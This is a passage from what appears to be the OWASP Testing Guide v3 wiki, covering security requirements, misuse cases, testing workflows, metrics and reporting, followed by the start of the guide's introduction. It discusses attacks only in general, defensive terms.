From the perspective of functional security requirements, the applicable standards, policies and regulations drive both the need of a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests.
Examples of positive requirements are: “the application will lockout the user after six failed logon attempts” or “passwords need to be six min characters, alphanumeric”. The validation of positive requirements consists of asserting the expected functionality and, as such, can be tested by re-creating the testing conditions, and by running the test according to predefined inputs and by asserting the expected outcome as a fail/pass condition.

In order to validate security requirements with security tests, security requirements need to be function driven and highlight the expected functionality (the what) and implicitly the implementation (the how). Examples of high-level security design requirements for authentication can be:
*Protect user credentials and shared secrets in transit and in storage
*Mask any confidential data in display (e.g., passwords, accounts)
*Lock the user account after a certain number of failed login attempts
*Do not show specific validation errors to the user as a result of failed logon
*Only allow passwords that are alphanumeric, include special characters and six characters minimum length, to limit the attack surface
*Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user answer to the challenge question, to prevent brute forcing of a password via password change.
*The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user temporary password, the new password, as well as the user answer to the challenge question.

'''Risk Driven Security Requirements''' 
Security tests need also to be risk driven, that is they need to validate the application for unexpected behavior. These are also called “negative requirements”, since they specify what the application should not do.
Examples of "should not do" (negative) requirements are:
* The application should not allow for the data to be altered or destroyed
* The application should not be compromised or misused for unauthorized financial transactions by a malicious user.

Negative requirements are more difficult to test, because there is no expected behavior to look for. This might require a threat analyst to come up with unforeseeable input conditions, causes, and effects. This is where security testing needs to be driven by risk analysis and threat modeling.
The key is to document the threat scenarios and the functionality of the countermeasure as a factor to mitigate a threat. For example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasure perspective:
*Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks
*Encrypt passwords using non reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks
*Lock out accounts after reaching a logon failure threshold and enforce password complexity to mitigate risk of brute force password attacks
*Display generic error messages upon validation of credentials to mitigate risk of account harvesting/enumeration
*Mutually authenticate client and server to prevent non-repudiation and Man In the Middle (MiTM) attacks

Threat modeling artifacts such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users' messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.

===Security Requirements Derivation Through Use and Misuse Cases===
Pre-requisite in describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing ''use cases''. Use cases, in the graphical form as commonly used in software engineering, show the interactions of actors and their relations, and help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, and pre- and post-conditions. Similar to use cases, ''misuse and abuse cases'' [19] describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well-defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios. Misuse scenarios allow the analysis of the application from the attacker's point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which of them are the most critical ones and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.

To derive security requirements from use and misuse case [20] , it is important to define the functional scenarios and the negative scenarios, and put these in graphical form. In the case of derivation of security requirements for authentication, for example, the following step-by-step methodology can be followed.

*Step 1: Describe the Functional Scenario: User authenticates by supplying username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.

*Step 2: Describe the Negative Scenario: Attacker breaks the authentication through a brute force/dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker to guess which accounts are actually valid, registered accounts (usernames). The attacker, then, will try to brute force the password for such a valid account. A brute force attack to four minimum length all digit passwords can succeed with a limited number of attempts (i.e., 10^4).

*Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case: The graphical example in Figure below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e., trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.
[[Image:UseAndMisuseCase.jpg]]

*Step 4: Elicit The Security Requirements. In this case, the following security requirements for authentication are derived:
:1) Passwords need to be alphanumeric, lower and upper case and minimum of seven character length
:2) Accounts need to lockout after five unsuccessful login attempt
:3) Logon error messages need to be generic
These security requirements need to be documented and tested.

===Security Tests Integrated in Developers' and Testers' Workflows===
'''Developers' Security Testing Workflow''' 
Security testing during the development phase of the SDLC represents the first opportunity for developers to ensure that individual software components that they have developed are security tested before they are integrated with other components and built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executables. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.
The validation of source code before integration in application builds is usually the responsibility of the senior developer. Such senior developer is also the subject matter expert in software security and his role is to lead the secure code review and make decisions whether to accept the code to be released in the application build or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master can look at the test results reported by the developers in the tool and grant approvals for checking in the code changes into the application build.

'''Testers' Security Testing Workflow''' 
After components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities, they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white box testing, such as source code analysis, and black box testing, such as penetration testing. Gray box testing is similar to Black box testing. In a gray box testing we can assume we have some partial knowledge about the session management of our application, and that should help us in understanding whether the logout and timeout functions are properly secured.

The target for the security tests is the complete system that is the artifact that will be potentially attacked and includes both whole source code and the executable. One peculiarity of security testing during this phase is that it is possible for security testers to determine whether vulnerabilities can be exploited and expose the application to real risks.
These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.

Usually, testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Such testing engineers have security knowledge of web application vulnerabilities, black box and white box security testing techniques, and own the validation of security requirements in this phase. In order to perform such security tests, it is a pre-requisite that security test cases are documented in the security testing guidelines and procedures.

A testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application functional testing is usually a responsibility of QA testers, while white-hat hackers/security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team in order to conduct such tests when a third party assessment is not required (such as for auditing purposes).

Since these tests are the last resort for fixing vulnerabilities before the application is released to production, it is important that such issues are addressed as recommended by the testing team (e.g., the recommendations can include code, design, or configuration change). At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the developer team to fix all high risk vulnerabilities before the application could be deployed, unless such risks are acknowledged and accepted.

===Developers' Security Tests===
'''Security Testing in the Coding Phase: Unit Tests''' 
From the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers' own coding artifacts such as functions, methods, classes, APIs, and libraries need to be functionally validated before being integrated into the application build.

The security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. As testing activity following a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Secure code reviews and source code analysis through source code analysis tools help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.

A good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:
* Authentication & Access Control
* Input Validation & Encoding
* Encryption
* User and Session Management
* Error and Exception Handling
* Auditing and Logging

Developers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as Junit, Nunit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitization) and boundary checks for variables by asserting the expected functionality of the component.

The threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number). At the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being deallocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.

Unit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked into the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.

Threat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.

Source code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control: software artifacts cannot be checked into the build with high or medium severity coding issues.

===Functional Testers' Security Tests===
'''Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests''' 
The main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.

The integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).
Real attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk driven tests and have the objective to test the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.

The execution of security in the integration and validation phase is critical to identifying vulnerabilities due to integration of components as well as validating the exposure of such vulnerabilities. Since application security testing requires a specialized set of skills, which includes both software and security knowledge and is not typical of security engineers, organizations are often required to security-train their software developers on ethical hacking techniques, security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat list or check-list”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security. The first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states, and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input and by checking if SQL exceptions are thrown back the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited. A more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example, source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.

The next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance tests environment (UAT) is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled and web root directory not cleaned from test and administration web pages.

===Security Test Data Analysis and Reporting===
'''Goals for Security Test Metrics and Measurements''' 
The definition of the goals for the security testing metrics and measurements is a pre-requisite for using security testing data for risk analysis and management processes. For example, a measurement such as the total number of vulnerabilities found with security tests might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing: for example, reducing the number of vulnerabilities to an acceptable number (minimum) before the application is deployed into production.

Another manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared with the baseline.

In traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required to fix, and, finally, the cost to implement the fix.

A characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. Such measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors and, further, by validating such vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical).

When evaluating the security posture of an application, it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application with tests. One measure of application size is the number of line of code (LOC) of the application. Typically, software quality defects range from about 7 to 10 defects per thousand lines of new and changed code [21]. Since testing can reduce the overall number by about 25% with one test alone, it is logical for larger size applications to be tested more and more often than smaller size applications.

When security testing is done in several phases of the SDLC, the test data could prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced, and prove the effectiveness of removing them by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities, since it is less expensive to deal with the vulnerabilities when they are found (in the same phase of the SDLC), rather then fixing them later in another phase.

Security test metrics can support security risk, cost, and defect management analysis when it is associated with tangible and timed goals such as:
*Reducing the overall number of vulnerabilities by 30%
*Security issues are expected to be fixed by a certain deadline (e.g., before beta release)

Security test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews vs. penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.

Security test data can also support specific objectives of the security analysis such as compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security costs vs. benefits analysis.

When security test data is reported it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced as well the effectiveness of the process.
Some examples of clues supported by security test data can be:
*Are vulnerabilities reduced to an acceptable level for release?
*How does the security quality of this product compare with similar software products?
*Are all security test requirements being met?
*What are the major root causes of security issues?
*How numerous are security flaws compared to security bugs?
*Which security activity is most effective in finding vulnerabilities?
*Which team is more productive in fixing security defects and vulnerabilities?
*Which percentage of overall vulnerabilities are high risk?
*Which tools are most effective in detecting security vulnerabilities?
*Which kind of security tests are most effective in finding vulnerabilities (e.g., white box vs. black box) tests?
*How many security issues are found during secure code reviews?
*How many security issues are found during secure design reviews?

In order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools should be used. Security tools can be qualified as being good at finding common known vulnerabilities targeting different artifacts.
The issue is that the unknown security issues are not tested: the fact that you come out clean it does not mean that your software or application is good. Some studies [22] have demonstrated that, at best, tools can find 45% of overall vulnerabilities.

Even the most sophisticated automation tools are not a match for an experienced security tester: just relying on successful test results from automation tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources as well as security test training.

'''Reporting Requirements''' 
The security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause (i.e., origin) such as coding errors, architectural flaws, and configuration issues.

Vulnerabilities can be classified according to different criteria. This can be a statistical categorization, such as the OWASP Top 10 and WASC (Web Application Security Statistics) project, or related to defensive controls as in the case of WASF (Web Application Security Framework) categorization.

When reporting security test data, the best practice is to include the following information, besides the categorization of each vulnerability by type:
*The security threat that the issue is exposed to
*The root cause of security issues (e.g., security bugs, security flaw)
*The testing technique used to find it
*The remediation of the vulnerability (e.g., the countermeasure)
*The risk rating of the vulnerability (High, Medium, Low)

By describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.

Reporting the root cause of the issue can help pinpoint what needs to be fixed: in the case of a white box testing, for example, the software security root cause of the vulnerability will be the offending source code.

Once issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black box technique (penetration test), the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).

The information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.

Finally the risk rating helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves a risk analysis based upon factors such as impact and exposure.

'''Business Cases''' 
For the security test metrics to be useful, they need to provide value back to the organization's security test data stakeholders, such as project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has in terms of role and responsibility.

Software developers look at security test data to show that software is coded more securely and efficiently, so that they can make the case of using source code analysis tools as well as following secure coding standards and attending software security training.

Project managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates and are getting better during tests.

Security test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.

To compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.

Finally, Chief Information Officers (CIOs) and Chief Information Security Officers (CISOs), responsible for the budget that needs to be allocated in security resources, look for derivation of a cost/benefit analysis from security test data to make informed decisions on which security activities and tools to invest. One of the metrics that support such analysis is the Return On Investment (ROI) in Security [23]. To derive such metrics from security test data, it is important to quantify the differential between the risk due to the exposure of vulnerabilities and the effectiveness of the security tests in mitigating the security risk, and factor this gap with the cost of the security testing activity or the testing tools adopted.

== References ==
[1] T. DeMarco, ''Controlling Software Projects: Management, Measurement and Estimation'', Yourdon Press, 1982

[2] S. Payne, ''A Guide to Security Metrics'' - http://www.sans.org/reading_room/whitepapers/auditing/55.php

[3] NIST, ''The economic impacts of inadequate infrastructure for software testing'' - http://www.nist.gov/public_affairs/releases/n02-10.htm

[4] Ross Anderson, ''Economics and Security Resource Page'' - http://www.cl.cam.ac.uk/users/rja14/econsec.html

[5] Denis Verdon, ''Teaching Developers To Fish'' - [[OWASP AppSec NYC 2004]]

[6] Bruce Schneier, ''Cryptogram Issue #9'' - http://www.schneier.com/crypto-gram-0009.html

[7] Symantec, ''Threat Reports'' - http://www.symantec.com/business/theme.jsp?themeid=threatreport

[8] FTC, ''The Gramm-Leach Bliley Act'' - http://www.ftc.gov/privacy/privacyinitiatives/glbact.html

[9] Senator Peace and Assembly Member Simitian, ''SB 1386''- http://www.leginfo.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html

[10] European Union, ''Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free movement of such data'' -
http://ec.europa.eu/justice_home/fsj/privacy/docs/95-46-ce/dir1995-46_part1_en.pdf

[11] NIST, '' Risk management guide for information technology systems'' - http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf

[12] SEI, Carnegie Mellon, ''Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE)'' - http://www.cert.org/octave/

[13] Ken Thompson, ''Reflections on Trusting Trust, Reprinted from Communication of the ACM '' - http://cm.bell-labs.com/who/ken/trust.html''

[14] Gary McGraw, ''Beyond the Badness-ometer'' - http://www.ddj.com/security/189500001

[15] FFIEC, '' Authentication in an Internet Banking Environment'' - http://www.ffiec.gov/pdf/authentication_guidance.pdf

[16] PCI Security Standards Council, ''PCI Data Security Standard'' -https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml

[17] MSDN, ''Cheat Sheet: Web Application Security Frame'' - http://msdn.microsoft.com/en-us/library/ms978518.aspx#tmwacheatsheet_webappsecurityframe

[18] MSDN, ''Improving Web Application Security, Chapter 2, Threat And Countermeasures'' - http://msdn.microsoft.com/en-us/library/aa302418.aspx

[19] Gil Regev, Ian Alexander,Alain Wegmann, ''Use Cases and Misuse Cases Model the Regulatory Roles of Business Processes'' - http://easyweb.easynet.co.uk/~iany/consultancy/regulatory_processes/regulatory_processes.htm

[20] Sindre,G. Opdmal A., '' Capturing Security Requirements Through Misuse Cases ' - http://folk.uio.no/nik/2001/21-sindre.pdf

[21] Security Across the Software Development Lifecycle Task Force, ''Referred Data from Caper Johns, Software Assessments, Benchmarks and Best Practices'' -http://www.cyberpartnership.org/SDLCFULL.pdf

[22] MITRE, ''Being Explicit About Weaknesses, Slide 30, Coverage of CWE'' -http://cwe.mitre.org/documents/being-explicit/BlackHatDC_BeingExplicit_Slides.ppt

[23] Marco Morana, ''Building Security Into The Software Life Cycle, A Business Case'' - http://www.blackhat.com/presentations/bh-usa-06/bh-us-06-Morana-R3.0.pdf

Testing Guide Introduction

2009-05-25T20:47:38Z

KirstenS: /* Functional and Non Functional Test Requirements */

{{Template:OWASP Testing Guide v3}}

=== The OWASP Testing Project ===
----
The OWASP Testing Project has been in development for many years. With this project, we wanted to help people understand the ''what'', ''why'', ''when'', ''where'', and ''how'' of testing their web applications, and not just provide a simple checklist or prescription of issues that should be addressed. The outcome of this project is a complete Testing Framework, from which others can build their own testing programs or qualify other people’s processes. The Testing Guide describes in details both the general Testing Framework and the techniques required to implement the framework in practice.

Writing the Testing Guide has proven to be a difficult task. It has been a challenge to obtain consensus and develop the content that allows people to apply the concepts described here, while enabling them to work in their own environment and culture. It has also been a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.

However, we are very satisfied with the results we have reached. Many industry experts and those responsible for software security at some of the largest companies in the world are validating the Testing Framework. This framework helps organizations test their web applications in order to build reliable and secure software, rather than simply highlighting areas of weakness, although the latter is certainly a byproduct of many of OWASP’s guides and checklists. As such, we have made some hard decisions about the appropriateness of certain testing techniques and technologies, which we fully understand will not be agreed upon by everyone. However, OWASP is able to take the high ground and change culture over time through awareness and education based on consensus and experience.

The rest of this guide is organized as follows. This introduction covers the pre-requisites of testing web applications: the scope of testing, the principles of successful testing, and testing techniques. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.

'''Measuring (in)security: the Economics of Insecure Software''' 
A basic tenet of software engineering is that you can't control what you can't measure [1]. Security testing is no different. Unfortunately, measuring security is a notoriously difficult process. We will not cover this topic in detail here, since it would take a guide on its own (for an introduction, see [2]).

One aspect that we want to emphasize, however, is that security measurements are, by necessity, about both the specific, technical issues (e.g., how prevalent a certain vulnerability is) and how these affect the economics of software. We find that most technical people understand at least the basic issues, or have a deeper understanding, of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms, and, thereby, quantify the potential cost of vulnerabilities to the application owner's business. We believe that until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security. 
While estimating the cost of insecure software may appear a daunting task, recently there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a survey on the cost of insecure software to the US economy due to inadequate software testing [3]. Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. See [4] for more information about some of these efforts.

The framework described in this document encourages people to measure security throughout their entire development process. They can then relate the cost of insecure software to the impact it has on their business, and consequently develop appropriate business decisions (resources) to manage the risk. Remember: measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.

'''What is Testing''' 
What do we mean by testing? During the development life cycle of a web application, many things need to be tested. The Merriam-Webster Dictionary describes testing as:
* To put to test or proof.
* To undergo a test.
* To be assigned a standing or evaluation based on tests.
For the purposes of this document, testing is a process of comparing the state of a system/application against a set of criteria. In the security industry, people frequently test against a set of mental criteria that are neither well defined nor complete. For this reason and others, many outsiders regard security testing as a black art. This document’s aim is to change that perception and to make it easier for people without in-depth security knowledge to make a difference.

'''Why Testing''' 
This document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that they need to undertake to build and operate that testing program on their web applications. It is intended to give a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference and as a methodology to help determine the gap between your existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, understand the magnitude of resources required to test and maintain their software, or prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review will be covered in the remaining parts of this document.

'''When to Test''' 
Most people today don’t test the software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artifacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.

<center>[[Image:SDLC.jpg]] 
''Figure 1: Generic SDLC Model'' </center>

Companies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.

'''What to Test''' 
It can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that "create" software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.

An effective testing program should have components that test ''People'' – to ensure that there is adequate education and awareness; ''Process'' – to ensure that there are adequate policies and standards and that people know how to follow these policies; ''Technology'' – to ensure that the process has been effective in its implementation. Unless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment. Denis Verdon, Head of Information Security at [http://www.fnf.com Fidelity National Financial] presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York [5]: "If cars were built like applications [...] safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft." 

'''Feedback and Comments''' 
As with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.

==Principles of Testing==

There are some common misconceptions when developing a testing methodology to weed out security bugs in software. This chapter covers some of the basic principles that should be taken into account by professionals when testing for security bugs in software.

'''There is No Silver Bullet''' 
While it is tempting to think that a security scanner or application firewall will either provide a multitude of defenses or identify a multitude of problems, in reality there are no silver bullets to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessments and at providing adequate test coverage. Remember that security is a process, not a product.

'''Think Strategically, Not Tactically''' 
Over the last few years, security professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. Fore more information about the window of vulnerability please refer to [6]. Vulnerability studies [7] have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year. There are also several wrong assumptions in the patch-and-penetrate model: patches interfere with the normal operations and might break existing applications, and not all the users might (in the end) be aware of a patch’s availability. Consequently not all the product's users will apply patches, either because of this issue or because they lack knowledge about the patch's existence. 

<center>[[Image:WindowExposure.jpg]] 
''Figure 2: Window of Vulnerability''</center> 
To prevent reoccurring security problems within an application, it is essential to build security into the Software Development Life Cycle (SDLC) by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.
 
'''The SDLC is King''' 
The SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.
 
'''Test Early and Test Often''' 
